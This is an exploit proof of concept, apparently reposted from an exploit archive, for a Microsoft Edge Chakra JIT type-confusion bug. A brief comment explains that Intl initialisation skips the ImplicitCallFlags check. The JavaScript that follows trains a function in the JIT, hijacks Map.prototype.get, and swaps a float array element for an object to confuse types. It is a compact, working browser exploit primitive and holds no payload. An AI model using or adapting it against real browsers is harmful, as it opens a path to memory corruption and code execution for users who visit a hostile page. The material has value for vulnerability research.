Microsoft Edge Chakra JIT - ImplicitCallFlags Check Bypass with Intl Exploit

/*
If the Intl object hasn't been initialized, access to any property of it will trigger the initialization process which will run Intl.js. The problem is that it runs Intl.js without caring about the ImplicitCallFlags flag.
 
In the PoC, it redefines Map.prototype.get to intercept the execution of Intl.js.
 
PoC:
*/
 
function opt(arr, obj) {
    arr[0] = 1.1;
    obj.x;
    arr[0] = 2.3023e-320;
}
 
let arr = [1.1];
for (let i = 0; i < 0x10000; i++) {
    opt(arr, {});
}
 
let get = Map.prototype.get;
Map.prototype.get = function (key) {
    Map.prototype.get = get;
 
    arr[0] = {};
 
    return this.get(key);
};
 
opt(arr, Intl);
 
alert(arr[0]);

#  0day.today [2018-08-17]  #